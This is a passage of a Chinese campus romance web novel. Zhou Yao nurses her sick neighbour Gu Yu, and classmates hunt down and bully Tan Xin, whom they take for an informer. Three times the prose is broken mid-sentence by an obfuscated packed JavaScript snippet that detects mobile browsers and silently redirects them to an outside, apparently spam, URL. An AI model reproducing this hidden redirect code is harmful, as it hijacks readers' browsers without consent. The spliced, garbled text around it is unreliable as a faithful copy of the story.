李铭轩二话没说推了自己的自行车过来,三个人里只有他的车有后座。 “我载回去吧,但你家在哪呢?” 两人不约而同望向顾彧,而后者却没回答,视线直直地望向不远处的前方,顺着他的方向看去,就见周窈推着她那辆老旧自行车过来。 见他们仨还愣在原地没动,周窈跨上车:“你们跟着我走吧。” 直到骑出去老远了,蒋煜和李铭轩也没反应过来周窈所说的“跟着我走”到底是啥意思,只是机械性地跟在周窈后面,直到跟着她拐进一个老旧小区,在一幢居民楼下停下,他们这才反应过来,这怕不是顾彧的家。原本还疑惑周窈怎么认识这地的,但转念一想周窈她妈在顾彧家做过保姆,便也想通了。 扶着人到了家门口,周窈又问:“钥匙呢?”显然这句话是问顾彧的。 顾彧省电模式似的慢慢吞吞将手伸到口袋里,摸了半天也没摸到钥匙,周窈却等不及,直接上手掏了进去,这个口袋没翻到,就把他衣服口袋裤子口袋都给掏了一遍,最后在他右边裤子口袋里将钥匙掏了出来。 一套动作看得蒋煜和李铭轩心惊,而顾彧竟然也半分没抵抗,像是习以为常了似的。 那可是男生的裤袋啊!要掏的是他的口袋,他高低得喊一声“耍流氓”。 蒋煜:“我们家子涵已经输在起跑线上了啊……” 李铭轩摇摇头:“于奥琪也没指望了啊……” 周窈一把推开门:“把他放沙发上。” 两人扶着顾彧躺到沙发上,然后目瞪口呆地看着周窈熟门熟路地从电视机柜里搬出一个药箱,又从药箱里翻出一个老式的水银温度计,拿酒精棉消毒之后直接塞进了顾彧的嘴里。 “小心含着。” 之后又从药箱里翻出各种感冒药、退烧药,但无一例外都过期了,看了眼生产日期,还是顾彧奶奶在的时候买的。勉强还有一包冷敷贴还能用,直接撕开拍在了顾彧额头上。等了一小会,将温度计拿出来一看——39.2℃。 “烧成这样还陪你们去网吧,你们的友谊真是感人。” 蒋煜和李铭轩想起刚刚自顾自逃跑的行为,自知有愧,也无法反驳,只老实地站在一边等周窈发落。 周窈将过期的药物扔进厨房的垃圾桶:“给他下单个退烧药。” “好嘞!”蒋煜忙不迭掏出手机,“啊!我手机没电关机了!” 周窈彻底无语,怪不得她发消息也没回应,电话也打不通。 “我来吧。”李铭轩果断接替,却在下单那刻犯了难:“这里地址是哪里?” 周窈打开厨房的橱柜:“幸福花园三幢三号205。” 意料之中,厨房空空荡荡,周窈又去看冰箱,果不其然,里面除了饮料,空无一物,她有些无语地看了一眼瘫在沙发上似乎已经陷入昏迷了的顾彧,转身出了大门。 蒋煜一看周窈走了,慌忙大喊:“葛朗台·周怎么走了?那我们怎么办?” 李铭轩耸耸肩:“我哪知道。” 不过五分钟不到周窈又回来了,这次手里还拿了一碗米。 蒋煜差点眼球脱眶:“阿周你去哪打劫啦?” 周窈懒得理他,径直又进了厨房,倒是边上稍缓过来一些的顾彧幽幽开口:“她住隔壁。” “哈?!”蒋煜和李铭轩面面相觑,只觉得一瓜未平一瓜又起…… 周窈进了厨房就开始烧水煮粥,没多久,一股粥香弥漫了整个房间。等粥煮好,药也送到了,周窈啪得一声将粥碗放到餐桌上:“喝粥,喝完粥吃药。” “哦……”顾彧怏怏起身,慢吞吞往餐桌挪。 周窈忙完准备走,一抬头就看见蒋煜和李铭轩还杵在那:“你们怎么还在这?” 蒋煜借了顾彧的充电器,此时正疯狂地回各种消息,闻言头都不抬地回道:“我们要是走了这房间里不就剩你们俩孤男寡女啦?顾神现在身娇体弱,万一你找他报仇怎么办?那我们岂不是要在社会新闻上看见你俩了?” “神金。”周窈简直无语,“那你们就盯着他喝粥吃药吧,我走了。” 勺子突然磕了一下碗沿,发出“叮当”声响。 周窈正要穿鞋,就听身后顾彧叫了她一声:“周窈。”声音挺响,像是用力挤出来的。于是她顿了一下,微微侧过头。 “谢谢。” 也没回应,像是收下了这句道谢似的,周窈径自开门走了。 她出现得突然,走得也干脆。 顾彧盯着那扇关上的门定定地看了好几秒,确定人走了之后才又低头喝粥。李铭轩捕捉到他这番举动,摇着随手拿来的扇子。 “孽缘啊,你竟然跟周窈住在一起啊?” 顾彧掀了掀眼皮,澄清:“不是住一起,是住隔壁。” 李铭轩若有所思:“怪不得你要躲到海市去了,这低头不见抬头见的……” 顾彧顿了一下,随即继续低头喝粥,直到将一碗粥喝得干干净净,又按量吃了药,才起身往自己房间走去。 “走的时候帮我关门,谢谢。” 也不在意他的冷淡,李铭轩对着那扇关上的房门高声喊一句:“你要有什么事随时打我们电话啊!” 蒋煜迅速按着手机:“人家葛朗台·周就在隔壁,哪用得着咱们啊。” 李铭轩见他从刚才起就一直捧着手机,也凑过去看:“你聊什么呢?”就见企鹅群里密密麻麻百来条消息迅速刷新。 蒋煜一边飞速打字一边骂:“我去,今天大黄鱼给附近都扫了个彻底,朱鑫纬他们也给抓了,还有隔壁班那小胖也抓了,抓了二十多个人……” “那怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460788|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了?”李铭轩不明白蒋煜愤慨的原因。 “还怎么了?!”蒋煜愤愤扭头:“这不是明摆着的么?革命队伍中出现了叛徒啊!肯定是有人跟大黄鱼告密了呗,不然他怎么可能一抓一个准呢?!” / 今晚的企鹅群简直可以用沸腾来形容,周窈头一次发了答案无人问津,还是代薇子告诉她,男生们忙着抓“奸细”呢。 为此,蒋煜还专门新拉了个群,说是要成立“九班抓奸细小组”,就连与他们有过过节的朱鑫纬都拉进来了。第二天周窈坐在教室里,都还能听见身后蒋煜按手机发出的噼里啪啦的声响,也不知这手机跟他有多大仇。 代薇子一副看热闹的心态:“他们昨天晚上才叫一个疯狂,我半夜睡觉生生被手机震醒,睁眼一看未读消息999+。” 蒋煜接茬:“你懂什么,我们那叫信息对账!”现在他这个小组里,不止有他们九班的人,还有隔壁八班、十班,甚至还有俩高一的,这才开学几天啊,就被大黄鱼抓了,喜提“一夜成名”了。 “诶,阿周,你昨天在办公室里就没看见什么可疑人士吗?” 周窈瞥了他一眼:“你们昨天在楼梯间嚷嚷的,我在办公室听得一清二楚,还需要有什么人告密吗?” “那哪一样啊。”蒋煜据理力争,“就算听到了,也不知道具体地点啊,顾神和李铭轩都是我带着才找到的,你说大黄鱼怎么可能就一摸一个准呢?”提起顾彧,蒋煜看了一眼自己身边空荡荡的座位:“哎,顾神不在的第一天,想他……” 代薇子笑他:“你之前不还怀念你的‘豪华套房’吗?这会又想上了?” 蒋煜煞有介事地摇了摇食指:“你不懂,感受过两个人在一起的温暖之后,就很难再适应一个人的孤单了……” 代薇子:“有病吧你,gay里gay气的。” 蒋煜:“哎,也不知道顾神身体好一点没。”说着,他又戳了戳周窈,“诶,周,你去看过他没?” 周窈一脸冷淡:“我为什么要去看他。” “好歹你们俩住隔壁,他又生病了,去看一下怎么了……” “什么?住隔壁?我怎么不知道?!”周窈还没回话,代薇子就先喊了起来,引得边上荣子涵都朝她们这看了过来。 周窈一个眼刀过去,吓得蒋煜立即给自己的嘴拉上拉链。 然而面对代薇子一脸的诧异,周窈还是低声解释:“我家跟她奶奶家是隔壁邻居,他是这个学期才搬来的,前几年不住这。” 代薇子还在震惊中,史芬突然来了。 一进门就冲着蒋煜问:“昨天你是不是去网吧了?!” 蒋煜自然不敢承认,头摇得跟个拨浪鼓似的:“史老师明鉴!我戒网很久了!” 史芬根本不信:“那你的自行车怎么在网吧门口?还是家黑网吧!我说没说过不准去网吧,尤其是黑网吧?!一个个全当耳旁风是吧?!” 蒋煜抓耳挠腮,后排李铭轩突然高声道:“史老师,昨天顾彧发烧了,我们打车把他送回家的,自行车就刚好停那了。” 卧槽,真有你的! 蒋煜扭头拼命给李铭轩眨眼作揖。 史芬自然是不信,但顾彧发烧是事实,加上也没别的证据,也不想冤枉了孩子,便只虚点了点两人:“你们最好是没去,学校再三勒令不许去网吧,还要顶风作案!”说着,她收起怒气,转向周窈:“周窈,跟我出来下。” 蒋煜如临大敌:“史芬不会是知道你昨天背叛了她给我们通风报信了吧,要从你这找突破口?!” “刑侦片看多了吧。”但即便这样说,周窈也心存疑惑,然而等她出去,史芬第一句问的就是:“你和顾彧是不是隔壁邻居?” 周窈:…… 这是什么好事吗?怎么大家都知道了? 17. 人道主义 周窈的无语就挂在脸上,但面对班主任,她还是老实回答:“是住隔壁,他这个学期刚搬来。” 史芬也不客气:“我看联络表上你们俩地址是一个小区一幢楼的,他今天早上给我打电话请假,说发烧了,烧挺高,我想你既然住在隔壁,就替我过去看看他,毕竟他现在一个人在舟市,爸爸妈妈都不在身边,我也有点担心。” 其实本身周窈也打算让陈娟过去看一眼的,既然史芬都这么说了她也就答应了下来。 只是当周窈真再次站在顾彧家门口时,她心情还是多少有点怪异。 毕竟她可是放出狠话说要顾彧离自己远点的,现在又上赶着来看他是怎么回事。就算他是病人,自己“肩负皇命”,也总觉得自己突然矮了一头似的,底气都有点不足了。 但即便如此,她还是扣响了顾彧家的门。 过了好一会,才听到里面踢踏声响,顾彧披着一根毯子,脑门上贴着冰贴来开门了。 他还以为是外卖到了,只伸了只手出来,然而递到他手里的,却不是外卖,而是一沓卷子。 周窈:“今天的作业。” 顾彧一愣,随即猛地将门推开:“你怎么来了?” 说实话,顾彧并不觉得周窈这会还会管他死活。 周窈撇撇嘴,进门换鞋:“史芬让我来的,看你死没死。” 说完,她从头到脚将顾彧仔细打量了一遍。 气色还是很差,脸色苍白嘴唇也无血色,眼底有些发青,估计是吃过药发了汗,头发有些微微打缕,但即便这样,周窈也不得不承认,此时的顾彧还是有一种病态的美感。 扭头再看向房间里,拆开的药盒摊在餐桌上,厨房垃圾桶也已经满了,里面堆着各种空饭盒、矿泉水瓶。 虽然多少有些凌乱,但显然三餐应该是没落下的。 “今天几度?”周窈问道。 听说是史芬让周窈来的,顾彧多少有些失望,他摸了摸鼻子:“还没量。” “快去量。”周窈一副你赶紧量完我好交差的样子。 “哦。”顾彧转身将新买的耳温枪迅速塞到沙发抱枕底下,然后又磨磨蹭蹭从抽屉里翻出他早已经收起来的老式水银温度计,消毒之后塞进嘴里。 “晚饭吃了吗?”周窈进厨房看了一圈,出来问道。 顾彧含着温度计可怜兮兮地摇了摇头,与此同时,离幸福花园还有五十米的外卖小哥突然收到顾客的私信:“取消!取消!千万别送来!吃掉、扔掉怎么处理都行,千万别送来!”快递小哥一头雾水地望着手里的这碗滑蛋牛肉粥,有些怀疑地回了一句:“确定?” “确定!”对面斩钉截铁。 还有这种好事?小哥果断点击送达,随后掉头离开。 而顾彧家里,周窈已经淘干净了米,重新煮上了一锅粥。 顾彧披着小毯子叼着温度计倚在厨房门边看着她:“我以为你不打算管我了。” 周窈一把从他嘴里抽出温度计:“量体温呢还敢说话,你要是不小心把温度计咬碎了,上帝都救不了你。”说着,她仔细一看:“36.9,退烧了。” 周窈将温度计递给顾彧示意他收起来,自己则一边看着火一边给史芬回消息:“你不要多想,我只是出于人道主义,对我的邻居兼同学表示一下关心。而且,反正你不是马上就要转去海市了吗?” 顾彧抬眼:“你希望我走?” 周窈奇怪地看了他一眼:“不是你自己跟史芬说要转走的吗?” 顾彧低头抠着门缝:“我怕你看见我又会想起以前的事。” 厨房里稍一沉默,只炉灶上的粥发出咕嘟咕嘟的声响。周窈拿着勺子轻轻搅动着…… “我没有讨厌看见你。” 抠门的手一顿,猛地抬起的那双狐狸眼里隐隐有光芒迸出。 “当然我看见你也不会开心。” 光芒又散去了。 “但要不要转学是你自己的事,你自己的人生,你自己做主,不要因为谁而轻易改变。” 白粥逐渐变得粘稠,散发出诱人的清香。周窈关了火,退出厨房。 “粥好了,我先走了。你最好晚上睡前再量一□□温,如果病情还有反复,我让我妈带你去医院。” 轻轻的“咔哒”一声,门被关上了。 顾彧站在狭小的厨房里,望着那一锅粥,半天没有动弹。 向来都考第一的学霸,人生中头一次遇到解不开的难题。他当然不想周窈不开心,但同时他也并不想离开舟市,到陌生的海市去。 拿起勺子,舀了一勺粥,吹凉了吃下去。 奇怪了,周窈煮的粥明明什么都没放,但味道就是和买来的不一样。 周窈快步离开顾彧家,转身往自己家走去,她出门时才刚刚想起来,陈娟昨天是晚班,现在应该在家,自己如果没有按时到家,她会着急。 刚到家楼下,就见陈娟一脸急色从家里出来,但又在看见她之后止住了脚步。周窈注意到,她的手指在轻微颤抖。 “我去顾彧家了,忘了跟你说了。”说完,周窈装作什么事都没有的样子往家里走去。 “哦,哦。”陈娟的表情从着急到松了一口气,转换得太快显得有些不自然,她喘了两口气:“小彧怎么了吗?” “发烧了,我们班主任让委托我去看看他。” 陈娟闻言突然就又急了起来:“小彧生病你怎么不早点跟我说?要不要紧?吃饭了吗?家里有药吗?” “已经退烧了,我给他煮了粥,饿不死,而且他自己会叫外卖,药也有。”说完,周窈跟着陈娟进了门。 客厅地上又铺满了纸箱,刚拆了一半,显然刚才陈娟正在忙活这些,只是因为自己没按时回家,造成她情绪有些不稳定,纸箱拆的东一块西一块的。周窈二话没说,蹲在地上给陈娟帮忙。 等周窈忙完这摊事,再抬头才借着灯光看清陈娟的脸色。对比生病的顾彧有过之无不及,甚至看上去要更严重,小腿上的淤青也没好。 她皱着眉问:“妈,你昨天晚上又没睡吗?” “何止啊。”陈娟拿来绳子捆好纸箱,在地上蹲久了,走路都有些僵硬,“连着两晚没睡了,这次这位老太太,夜里不睡觉尽折腾人,还会梦游,我稍一打个盹,她自己拔了输液管就不知道跑哪去了,好一通找。” “怎么这样……” 陈娟摇了摇头:“老年痴呆。” 这次依旧是周窈独自扛着纸箱去了废品收购站,怕陈娟一个人在家着急,想着少几块钱就少几块吧,就在小区后门那家迅速卖了了事。没想到回去的时候遇到了自家对门的邻居阿姨。 周窈迎面点了点头算打了招呼,没想到那阿姨特地追了上来。 “帮妈妈卖废品啊?” “嗯。”周窈点了点头。 邻居阿姨笑眯眯:“我们这几幢楼,这么多小孩里,就你最懂事了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460789|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周窈尬笑了下,想快点结束这场意味不明的偶遇,却没想到那阿姨伸手拽了她一下。 “哎,小周,最近不会有人上门来了吧?” 周窈愣了一下,然后立即反应过来邻居阿姨指的,是上门追债的四哥和瘦猴,一时间也不知道该如何回答。 那邻居阿姨见她不说话,便自顾自往下说:“是这样的哦,阿姨年纪大嘞,更年期神经衰弱,喏心脏也不好,每次你们家这动静太吓人了,我这个心脏真的受不了,你跟你妈妈说一下好伐,别让那些人再来了,好伐?” 闻言,周窈渐渐沉了脸色。 以前她听到这种话,还会觉得无地自容,但现在她早就习惯了。平心而论,如果换做她,有这样的邻居,她也会觉得很烦,觉得很不安全的吧。 “我知道了阿姨,我会跟我妈说的。” “哦哦,好的好的,回去跟你妈妈好好说说。这么晚了……饭吃了伐?” “还没。” “那阿姨不拉着你说话了,快点回家吃饭吧。” 周窈礼貌地点点头,然后头也不回地往家走。回到家,她自然没跟陈娟提这路上的一点小插曲,将卖来的钱转给陈娟之后,就回房间做作业去了。 后面两天是双休日,陈娟抽空去看了顾彧一回,说他已经完全退烧了,没什么事了,于是周窈也就没再关心这一茬。原想着这个双休日可能就会平淡地过去,却没想到蒋煜那个什么“九班抓奸细小组”竟然取得了巨大的进展。 【蒋蒋蒋蒋:我说什么来着,情报对账很有用吧!】 【李是李铭轩的理:找着了?】 【蒋蒋蒋蒋:你们猜是谁?】 【③孬学生:学委?】 【⑨班卡扎菲:体委?】 【①中萨达姆:文委?】 【蒋蒋蒋蒋:你们猜了这么多人,怎么就没人猜班长啊?!】 【⑨班卡扎菲:班长?】 【③孬学生:谭欣?】 【①中萨达姆:小四眼?】 【蒋蒋蒋蒋:哎,对喽。咱们上网吧的事,隔壁十班早恋的事,都是她说的!还有咱们偶尔在背后说史芬坏话,她也都告诉史芬了,我说有次我说史芬查晚自习那么积极,搞不好是因为夫妻不和,她隔天把我叫去办公室训了一顿呢……哦,搞不好还有葛朗台·周上次数学□□那事。】 【③孬学生:怎么知道是她的呢?】 【蒋蒋蒋蒋:这就说来话长了,起因是十班铁蛋早恋被叫家长了,然后铁蛋和他女朋友就觉得奇怪,他们保密工作做那么好,老师怎么知道的呢?然后他前女朋友仔细想了想,说她和谭欣在同一个英语补习班补习,有次铁蛋接她下课,被谭欣看到了。然后就顺着查,很多事都能跟谭欣对上,至于网吧这事,是有人亲眼看见她前两天进过教导处。】 【⑨班卡扎菲:不是,班长这图啥啊?】 【蒋蒋蒋蒋:图啥?不就是为了讨好权利阶级吗?!不就是权利阶级对我们这帮平民学生的压迫吗?!权利上瘾啊朋友们!咱们得联合起来打击霸权啊!】 【李是李铭轩的理:……】 【蒋蒋蒋蒋:反正朱鑫纬那边已经放话了,要nen谭欣了,小班长自求多福吧。】 谭欣? 周窈扫了一眼聊天记录,粗略一回忆,确实好多八卦都是从谭欣这传出来的,但数学□□那事,真的是她举报的吗?周窈想了想,不敢妄下定论。 18. 排挤 经过一个双休日的修养,顾彧的病已经全好了,早上周窈进班级的时候,他就已经坐在位置上了,蒋煜和李铭轩正围着他,给他讲这两天的抓奸细大战。 周窈隔着人群看了他一眼,见他脸色无恙,依旧一副漫不经心的样子,撑着头在那看书,对身边人的喋喋不休也没什么回应,和平时无二,便也不去管他,自顾自交作业去了。 被人拉着讲了一道题,等周窈回过神来的时候,发现刚刚还一片嘈杂的班级里突然安静了。她略带疑惑地抬头,就见谭欣捧着作业本从办公室回来,随即四周都是压低了声音的议论声,讨论对象自然是谭欣打小报告的事。 周窈事不关己,讲完题就回自己位置上去了,此时蒋煜他们也不再聒噪,只看戏似的朝谭欣座位上看,周窈顺着看去,发现谭欣正趴在桌子上哭呢。 代薇子小声解释:“她桌子上被人涂得乱七八糟,说她是大喇叭,是史芬的走狗,骂的可难听了。” 周窈下意识就扭头看向蒋煜,蒋煜连忙撇清:“可不是我啊,我充其量就给她起了个外号,这事可不是我干的,是朱鑫纬他们。” 于是眼神又挪向教室后方,果不其然,朱鑫纬他们正洋洋得意地乐呢。 代薇子拽了拽周窈的衣角:“你可别蹚这趟浑水,怎么说也是她做得过分在先,而且搞不好数学考试那事也是她出卖的你。” 周窈可没那么爱管闲事,自然应了下来:“放心,我们这种商人都是无利不起早的。” 刚说完,外面大喇叭就响了,通知大家去参加升旗仪式。 “哎哟嘿,今天升旗仪式可热闹了!” 周窈愣了一下,随即想起上周黄主任打击黑网吧的事,可想而知,今天的升旗仪式得有多壮观。 “妈的,艹了!”教室后排的朱鑫纬爆出一句国骂,显然他也是这次国旗下检讨的人员之一。 周围人哈哈大笑:“朱哥放心飞,九班永相随!你演讲完我们给你鼓掌!” “滚蛋!你们也就运气好没被大黄鱼抓着!老子倒了血霉了!妈的谭欣,给我等着!” 今天的升旗仪式除了朱鑫纬,还有十七八个在各个网吧被抓了的学生,在国旗下排成一溜,然后挨个上去做检讨,原先升旗仪式的主角老黄今天都变得镶边了。 蒋煜站在底下看着,不由得感叹:“好家伙,要不是咱们跑得快,今天升旗仪式上也得有咱们一份。” “何止。”李铭轩幽幽叹口气,转头瞥了一眼落在队伍最后面的顾彧,“人顾彧都要转学了,还得跟着一起在国旗下检讨,多不好。” “也算是过命的交情了。”蒋煜感叹,转而又疑惑,“他到底啥时候走?咱们也组织个欢送会啥的呗。” “不知道啊,说是要转学也一直没动静。” “他没跟你说过?” “没啊。”李铭轩摇摇头,随即他一脸疑惑,“为什么你老觉着顾彧会跟我很熟?” 蒋煜一脸理所应当:“你们不是都十三班的吗?” 李铭轩嘿嘿一笑:“以前在十三班的时候,我一年跟他说过的话加起来可能都没有十句。” “我去……那你们这跟陌生人有啥区别?那他到底跟谁好?转来咱们班这都半个多月了,也没见有以前的同学来找他啊,啊,除了于奥琪。” “他啊……”李铭轩卖了个关子,又扭头看了一眼,“我就没见过他跟谁关系好,其实我一直觉得他挺孤僻的,虽然看上去好像挺好说话,但实际上他谁都不理。不过也是,人家年级断层第一,层次跟咱们不一样,聊不到一起去也正常。” 蒋煜摸摸头,一脸不解:“那咱们找他开黑,他也没拒绝啊,还一起去网吧……” “所以我说嘛,他来这之后,好像开朗点了,不像以前那么不爱理人了。”说话间,李铭轩朝前望去,对着前方抬了抬下巴:“至于他到底走不走,啥时候走,咱们操这心都没用,人家周窈说句话,搞不好他就不走了。” 蒋煜顺着方向朝前看去,只能模模糊糊看见周窈的一个背影:“可是葛朗台·周也不理顾神啊……” 李铭轩伸手枕在脑后,老神在在:“谁说的,真不理他那天怎么还跑去给他通风报信,还送他回家,还给他煮粥,缺个台阶罢了。” “卧槽?”蒋煜一听瞪大了眼睛,“有道理啊!”随即转念一想,突然像是有了主意似的:“我明白了!放心吧,这会顾神是铁定走不了了!” 李铭轩原本想说“你怎么这么爱管闲事呢?”,但看着他一副优势在我的样子,皱了皱眉,但决定还是不打击他的积极性了。 / 连着好几天,蒋煜都活像一只上蹿下跳的猹,一会拜托周窈买鸡排,回来偷偷塞给顾彧,说是周窈特地给他带的,一会又故意拉着代薇子退出四人小组作业,就留周窈和顾彧俩人大眼瞪小眼,再不然就是跟周窈说,顾彧又生病了,让周窈去看看。 周窈简直无语:“他午休的时候不是还下楼打了场篮球吗?我看他活蹦乱跳的啊。” 蒋煜一时语塞:“呃……可能就是打篮球中暑了!” 周窈指了指窗外:“今天阴天,气象预报下午有雨。”说完,便转身走了。 在边上看了全程的代薇子摇了摇头:“说你这是低端操作都抬举你了,真是辣眼睛。” 蒋煜不服气,梗着脖子嚷嚷:“那你说怎么办?!” 代薇子皱眉:“什么怎么办,人家两个人的事你这么积极掺和,跟你有半毛钱关系吗?” “那我也是为了维护咱们班级的和谐啊!” 两人说话间,就见谭欣抱着一堆东西从远处过来,她一路低头含胸,头发也乱糟糟的,明显是被欺负了。 蒋煜将代薇子拉到一边,下意识离谭欣远远的:“朱鑫纬他们越来越过分了,昨天把拖地的水泼谭欣身上,说是不小心的,今天又把人家的书包扔到操场上……” 两人一路看着谭欣进了教室,代薇子朝蒋煜翻了个白眼:“这才是你该维护的和谐。” 蒋煜一听便急了,拽了代薇子一下:“这事可不能管,谭喇叭这次真的是捅了马蜂窝了,朱鑫纬那帮人凶得很,早就放话出来了,谁要是帮谭欣,他就一起整!” 教室里,谭欣低着头匆匆进来,刚好撞上正要出去倒水的周窈,“哗啦”一声,怀里的书掉了一地。谭欣赶紧蹲下去捡,周窈也一起帮她收拾,一看才知道,她的书包也被人用小刀划烂了,书上也占满了不知名污渍。若说先前只是这些同学对谭欣告密有意见,用给她起外号、不搭理她这些行为对她进行报复,那么现在看来,就是赤裸裸的霸凌了。 正愣神呢,就听“啪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460790|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗒”一声,从谭欣怀里漏出来个东西。 “哟,这是什么啊!”边上一男生眼疾手快一把捡起,谭欣上前要去抢却没抢过,那男生将手里的东西颠来倒去看了一番,“咦——卫生巾,真TM恶心!”然后随手往另一位男生身上一扔。 “卧槽!你传给我干嘛!”说完又是一扔,顿时这包卫生巾在男生的手里就跟击鼓传花似的,你传给我我传给你,嘴里还嚷嚷着“恶心”“好脏”“有毒”,而卫生巾的主人谭欣则急得要哭,其他女生也因为对卫生巾多少感到有些羞耻而不敢上前…… “你们有完没完了!”男生单方面制造的混乱中,就见荣子涵一拍桌子站了起来,怒气冲冲地朝后面那帮男生喊去:“女生不来大姨妈你们从哪里来的?!你们没妈?石头缝里蹦出来的吗?!” “哟,咱们子涵硬气啊,你也来大姨妈了吗?要不这包你拿去用?哈哈哈哈哈哈哈!” “我来不来姨妈管你什么事啊!我要是你妈,知道你这么不尊重女性,我都后悔把你生下来!21世纪了怎么还有男人拿正常生理现象来嘲笑女性啊,我嘲笑你下面小了吗?!我嘲笑你像条狗一样站着小便了吗?!” 荣子涵一顿输出,不仅男生们懵了,边上的女生也懵了,没想到平时高傲娇贵的“小公主”,也会用生殖器骂人。不过也因为她勇敢出头,那些刚刚还因为卫生巾感到羞耻的女孩子们也都纷纷挺起胸膛加入进来。 “就是,嘴真臭!” “我们都没说你们男生口臭脚臭狐臭汗臭了,你们有什么脸说卫生巾是脏东西啊?!” “你们才是脏东西!” “卫生巾比你们脸都干净!” 还有胆大的直接嚷嚷:“你们再敢拿卫生巾和月经开女生玩笑,我就用用过的卫生巾糊满你的课桌!” 眼看着引起了班级中女生们的公愤,朱鑫纬那帮人也就只能算了,装模作样说了两句“行行行说不过你们”“至于么发这么大火吗”之后,将那包卫生巾往脚边上一扔。 谭欣想去捡,但无奈她离得远,又不敢靠近朱鑫纬那帮人,只踌躇着站在原地,周窈看了她一眼,刚想过去,还没动身就看顾彧突然站了起来往后排走去,然后在众目睽睽之下捡起那包卫生巾,好好地放在了谭欣的桌子上。 “哟,顾校草这时候装什么绅士啊?”朱鑫纬阴阳怪气地调侃。 顾彧扭头看了他一眼,神色淡淡:“我不是装绅士,我只是不想表现得像个畜生。” “你TMD——” 朱鑫纬正要发作,史芬猛地锤了下班级大门:“又吵吵什么?!一路过来就咱们班吵得像个菜市场!上课铃声都响了多久了?都聋啦?!” 史芬发话到底还是管用的,所有人都迅速回到了自己的座位上,朱鑫纬他们也都偃旗息鼓,而谭欣也从周窈手里接过她的课本,低声道了谢后,头都不敢抬地回到自己座位。 周窈看她不过几天就变得畏畏缩缩的样子,不由得想起了当初逆来顺受的自己,突然就生出了几分恨铁不成钢的愤怒心情。 “上课了。”边上代薇子拉了她两下,周窈这才收回视线坐下,掏出课本。 而她身后,顾彧看了眼坐在座位上噤若寒蝉的谭欣,又盯着周窈的背影看了一会,不知是联想到了什么,有些愤怒地捏紧了拳头。 19. 反抗 体育课照例还是练排球,周窈揉了揉垫球垫到都有点皮下内出血的手臂,和几名女生一起站在树荫下偷懒,离她们不远处,谭欣正独自在那练球,她在班级里本就朋友不多,现在更显得孑孓一人。 代薇子愤愤不平:“朱鑫纬他们把谭欣的自行车扔给收废品的了,也不知道追回来没,真的是越来越没底线了。”说完,她扭头征询周窈意见:“你说我们要不要把这件事告诉史芬啊?” “告诉了也没用。”周窈靠在树上,神色淡漠。 代薇子本想说多少还是能管点用吧,但想到周窈某方面来说也算是过来人,便不再反驳,倒是边上荣子涵阴阳怪气:“少装好人了,你要是告诉史芬,你岂不也成了告状精了?小心朱鑫纬他们下一个就对付你。” 想起朱鑫纬那帮人的整人手段,代薇子确实也是不寒而栗,而且也没那么多勇气去做这个出头鸟,只能跟其他女生一起,选择缄默不言。 或许是心中愧疚,她下意识又望向了周窈,而此时周窈依旧是一副漠不关心的样子站在那,仿佛这一切都与她无关似的。 也说不上是什么心情,代薇子收回了目光,心中却隐隐有些失望。 下课后,周窈和代薇子去还排球,蒋煜又追上来,非要说顾彧中暑了,让周窈去看看。周窈没忍住还是翻了个白眼:“今天最高也就28度,还阴天,你跟我说他中暑了?夏天都快过去了。”说着,她伸手把排球往球框里一扔,“而且,同样的招数你已经用了两遍了。” 蒋煜被戳穿也不恼:“那我还不是希望你们和好吗。” 代薇子推了他一把:“他们俩和好是会给你发红包还是怎么的?关你什么事啊。” 而周窈则没说话,转身走了。 刚走出两步,就听到边上器材室的门响了两声,等周窈扭头看去,声响又没了。 或许是有人在里面整理器材吧,周窈没多想,和代薇子一起,拽上蒋煜,三人回教室了。 下一节是英语外教课,通常来说是看原文电影,最适合摸鱼。周窈已经迫不及待摸出数学卷子,打算在课上偷偷摸摸把它“干掉”。 他们外教Gloria是一位来自新西兰的胖乎乎的三十岁上下的开朗姑娘,上来先煞有介事地点名,周窈也不懂这一眼就能看出缺席与否的座位,点名有什么意义,但Gloria乐此不疲,非常享受每一位学生对她SayHi的瞬间。 直到点到谭欣时,班级里一片寂静。 “Cynthia?” 无人应答。 “OK~”Gloria撇撇嘴,在谭欣的名字后面划了个叉,并询问是否有人能告诉她谭欣去了哪里。 后排男生忍不住抖机灵:“在史芬身边侍奉呢!” 话一出口就引来一阵爆笑。 “谐音梗扣钱啊!” 唯有Gloria挑着眉一脸不明所以,还以为他们是在玩什么网络流行的新梗。 今天看的是《死神来了2》,里面的血腥场景吓得众人大呼小叫。 周窈对这些充耳不闻,在教室昏暗灯光下咬着笔杆低头在草稿纸上写写算算。代薇子凑近小声调侃:“这整个班级里,也就你和顾彧两个人在学习。” 